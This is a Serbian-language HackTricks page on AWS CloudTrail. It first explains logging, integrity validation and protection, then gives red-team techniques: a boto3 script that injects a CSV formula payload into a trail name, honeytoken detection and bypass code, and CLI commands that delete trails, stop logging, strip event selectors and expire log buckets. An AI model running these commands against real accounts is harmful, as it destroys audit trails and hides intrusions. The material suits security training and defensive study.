AWS - CloudTrail Enum

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

CloudTrail

AWS CloudTrail beleži i prati aktivnosti unutar vašeg AWS okruženja. Snima detaljne dnevničke događaje, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža evidenciju promena i akcija, pomaže u analizi bezbednosti, reviziji usaglašenosti i praćenju promena resursa. CloudTrail je neophodan za razumevanje ponašanja korisnika i resursa, unapređenje bezbednosnih postavki i osiguravanje regulatorne usaglašenosti.

Svaki zabeleženi događaj sadrži:

  • Naziv pozvanog API-ja: eventName

  • Pozvana usluga: eventSource

  • Vreme: eventTime

  • IP adresa: SourceIPAddress

  • Metod agenta: userAgent. Primeri:

  • Signing.amazonaws.com - Iz AWS Management konzole

  • console.amazonaws.com - Root korisnik naloga

  • lambda.amazonaws.com - AWS Lambda

  • Parametri zahteva: requestParameters

  • Elementi odgovora: responseElements

Dogadjaji se upisuju u novu dnevničku datoteku oko svakih 5 minuta u JSON datoteci, čuvaju se u CloudTrail-u i na kraju, dnevničke datoteke se isporučuju u S3 oko 15 minuta nakon toga. CloudTrail-ovi dnevnici mogu biti agregirani preko naloga i preko regiona. CloudTrail omogućava korišćenje celovitosti dnevničke datoteke kako bi se moglo proveriti da li su vaše dnevničke datoteke ostale nepromenjene od trenutka kada ih je CloudTrail isporučio vama. Stvara se SHA-256 heš dnevnika unutar datoteke sa digestom. SHA-256 heš novih dnevnika se kreira svakog sata. Prilikom kreiranja Traga, selektori događaja će vam omogućiti da naznačite trag za beleženje: Upravljanje, podaci ili događaji uvidi.

Dnevnici se čuvaju u S3 kanti. Podrazumevano se koristi enkripcija na strani servera (SSE-S3) tako da će AWS dešifrovati sadržaj za osobe koje imaju pristup, ali radi dodatne bezbednosti možete koristiti SSE sa KMS i svoje ključeve.

Dnevnici se čuvaju u S3 kanti sa ovim formatom imena:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Gde je BucketName: aws-cloudtrail-logs-<accountid>-<random>

  • Primer: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Unutar svake fascikle, svaki dnevnik će imati ime koje prati ovaj format: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Konvencija imenovanja dnevničke datoteke

Osim toga, digestne datoteke (za proveru celovitosti datoteke) će biti unutar iste kante u:

Agregiranje Dnevnika iz Više Naloga

  • Kreirajte Trag u AWS nalogu gde želite da se dnevničke datoteke isporuče

  • Primenite dozvole na odredišnoj S3 kanti omogućavajući pristup između naloga za CloudTrail i dozvolite svakom AWS nalogu koji treba pristup

  • Kreirajte novi Trag u drugim AWS nalozima i izaberite da koristite kreiranu kantu u koraku 1

Međutim, čak i ako možete sačuvati sve dnevnike u istoj S3 kanti, ne možete agregirati CloudTrail dnevnike iz više naloga u CloudWatch Dnevnike koji pripadaju jednom AWS nalogu.

Zapamtite da nalog može imati različite Tragove od CloudTrail-a omogućene čuvajući iste (ili različite) dnevnike u različitim kantama.

Cloudtrail iz svih org naloga u 1

Prilikom kreiranja CloudTrail-a, moguće je naznačiti da se aktivira cloudtrail za sve naloge u organizaciji i da se dnevnici dobiju u samo 1 kanti:

Na ovaj način možete lako konfigurisati CloudTrail u svim regionima svih naloga i centralizovati dnevnike u 1 nalogu (koji biste trebali da zaštitite).

Provera Dnevničkih Datoteka

Možete proveriti da li su dnevnici izmenjeni pokretanjem

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Dnevnici u CloudWatch-u

CloudTrail automatski može slati dnevnike u CloudWatch tako da možete postaviti upozorenja koja vas obaveštavaju kada se izvrše sumnjive aktivnosti. Imajte na umu da je potrebno kreirati ulogu koja omogućava CloudTrail-u da šalje dnevnike u CloudWatch. Preporučuje se korišćenje AWS podrazumevane uloge za obavljanje ovih akcija. Ova uloga će omogućiti CloudTrail-u da:

  • CreateLogStream: Ovo omogućava kreiranje CloudWatch Logs log tokova

  • PutLogEvents: Isporučuje CloudTrail dnevnike u CloudWatch Logs log tok

Istorija događaja

CloudTrail Istorija događaja vam omogućava da pregledate u tabeli dnevnike koji su zabeleženi:

Uvidi

CloudTrail Uvidi automatski analiziraju upravljačke događaje pisanja iz CloudTrail tragova i obaveštavaju vas o neobičnoj aktivnosti. Na primer, ako postoji povećanje događaja TerminateInstance koji se razlikuje od uspostavljenih osnova, videćete ga kao događaj Uvida. Ovi događaji olakšavaju pronalaženje i reagovanje na neobičnu API aktivnost više nego ikad.

Uvidi se čuvaju u istoj kanti kao i CloudTrail dnevnici u: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Bezbednost

Integritet datoteka dnevnika CloudTrail

  • Proverite da li su dnevnici izmenjeni (modifikovani ili obrisani)

  • Koristi digest datoteke (kreira heš za svaku datoteku)

    • SHA-256 heširanje

    • SHA-256 sa RSA za digitalno potpisivanje

    • privatni ključ u vlasništvu Amazona

  • 1 sat je potrebno za kreiranje digest datoteke (obavljeno na svaki sat)

Zaustavite neovlašćen pristup

  • Koristite IAM politike i S3 politike kante

    • tim za bezbednost —> administratorski pristup

    • revizori —> samo čitanje pristupa

  • Koristite SSE-S3/SSE-KMS za šifrovanje dnevnika

Spriječite brisanje datoteka dnevnika

  • Ograničite pristup brisanju sa IAM i politikama kante

  • Konfigurišite S3 MFA brisanje

  • Proverite sa Validacijom datoteka dnevnika

Pristupni savetnik

AWS Pristupni savetnik se oslanja na poslednjih 400 dana AWS CloudTrail dnevnika kako bi prikupio svoje uvide. CloudTrail beleži istoriju AWS API poziva i povezane događaje napravljene u AWS nalogu. Pristupni savetnik koristi ove podatke da pokaže kada su usluge poslednji put pristupane. Analizom CloudTrail dnevnika, Pristupni savetnik može odrediti koje AWS usluge je IAM korisnik ili uloga pristupila i kada se taj pristup dogodio. Ovo pomaže AWS administratorima da donesu informisane odluke o usavršavanju dozvola, jer mogu identifikovati usluge koje nisu pristupane u dužem vremenskom periodu i potencijalno smanjiti preširoke dozvole na osnovu stvarnih uzoraka korišćenja.

Stoga, Pristupni savetnik obaveštava o nepotrebnim dozvolama koje su dodeljene korisnicima tako da administrator može da ih ukloni

Akcije

Enumeracija

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Moguće je izvršiti CVS ubacivanje unutar CloudTrail-a koje će izvršiti proizvoljni kod ako se zapisi izvezu u CSV formatu i otvore u Excelu. Sledeći kod će generisati unos zapisa sa lošim imenom Trail-a koje sadrži payload:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Za više informacija o CSV ubacivanjima proverite stranicu:

Za više informacija o ovoj specifičnoj tehnici proverite https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Bypass Detekcije

HoneyTokens bypass

HoneyTokensi su kreirani da detektuju iznošenje osetljivih informacija. U slučaju AWS-a, to su AWS ključevi čije se korišćenje prati, ako nešto pokrene akciju s tim ključem, onda je neko morao ukrasti taj ključ.

Međutim, ova monitorizacija se vrši putem CloudTrail-a, i postoje neke AWS usluge koje ne šalju logove CloudTrail-u (pronađite spisak ovde). Neke od tih usluga će odgovoriti s greškom koja sadrži ARN uloge ključa ako neovlašćena osoba (honeytoken ključ) pokuša da pristupi.

Na ovaj način, napadač može dobiti ARN ključa bez pokretanja bilo kakvog loga. U ARN-u napadač može videti AWS ID naloga i ime, lako je znati ID i imena kompanija koje koriste HoneyToken, na ovaj način napadač može identifikovati da li je token HoneyToken.

Detekcija HoneyTokena

Pacu detektuje da li ključ pripada Canarytokens, SpaceCrab, SpaceSiren:

  • Ako se canarytokens.org pojavi u imenu uloge ili ID naloga 534261010715 se pojavi u poruci o grešci.

  • Testirajući ih nedavno, koriste nalog 717712589309 i još uvek ima nisku canarytokens.com u imenu.

  • Ako se SpaceCrab pojavi u imenu uloge u poruci o grešci

  • SpaceSiren koristi uuids za generisanje korisničkih imena: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Ako ime izgleda kao da je generisano nasumično, postoji visoka verovatnoća da je u pitanju HoneyToken.

Imajte na umu da su sve javne API-je otkrivene kao ne stvaraju CloudTrail logove sada popravljene, tako da možda trebate pronaći svoje...

Ili možete dobiti ID naloga iz enkodiranog unutar pristupnog ključa kao što je objašnjeno ovde i proveriti ID naloga sa svojom listom Honeytokens AWS naloga:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Za više informacija proverite originalno istraživanje.

Pristupanje trećoj infrastrukturi

Određene AWS usluge će pokrenuti neku infrastrukturu kao što su Baze podataka ili Kubernetes klasteri (EKS). Korisnik koji direktno komunicira sa tim uslugama (poput Kubernetes API-ja) neće koristiti AWS API, pa CloudTrail neće moći da vidi ovu komunikaciju.

Stoga, korisnik sa pristupom EKS-u koji je otkrio URL EKS API-ja može generisati token lokalno i komunicirati direktno sa API uslugom bez otkrivanja od strane CloudTrail-a.

Više informacija u:

pageAWS - EKS Post Exploitation

Modifikovanje CloudTrail konfiguracije

Brisanje tragova

aws cloudtrail delete-trail --name [trail-name]

Zaustavite staze

aws cloudtrail stop-logging --name [trail-name]

Onemogućavanje logovanja u više regiona

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

U prvom primeru, jedan događajni selektor je dat kao JSON niz sa jednim objektom. "ReadWriteType": "ReadOnly" ukazuje da selektor događaja treba da zabeleži samo događaje samo za čitanje (tako da CloudTrail uvidi neće proveravati događaje za pisanje, na primer).

Možete prilagoditi selektor događaja prema vašim specifičnim zahtevima.

Brisanje zapisa putem S3 životnog ciklusa

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modifikacija konfiguracije kante

  • Obriši S3 kantu

  • Promeni politiku kante da odbije sve upise iz CloudTrail servisa

  • Dodaj politiku životnog ciklusa na S3 kantu da obriše objekte

  • Onemogući ključ KMS koji se koristi za šifrovanje CloudTrail zapisa

Cloudtrail ransomware

S3 ransomware

Možete generisati asimetrični ključ i naterati CloudTrail da šifruje podatke tim ključem i obrišete privatni ključ tako da CloudTrail sadržaj ne može biti povraćen. Ovo je u osnovi S3-KMS ransomware objašnjen u:

pageAWS - S3 Post Exploitation

KMS ransomware

Ovo je najlakši način da se izvede prethodni napad sa različitim zahtevima dozvola:

pageAWS - KMS Post Exploitation

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated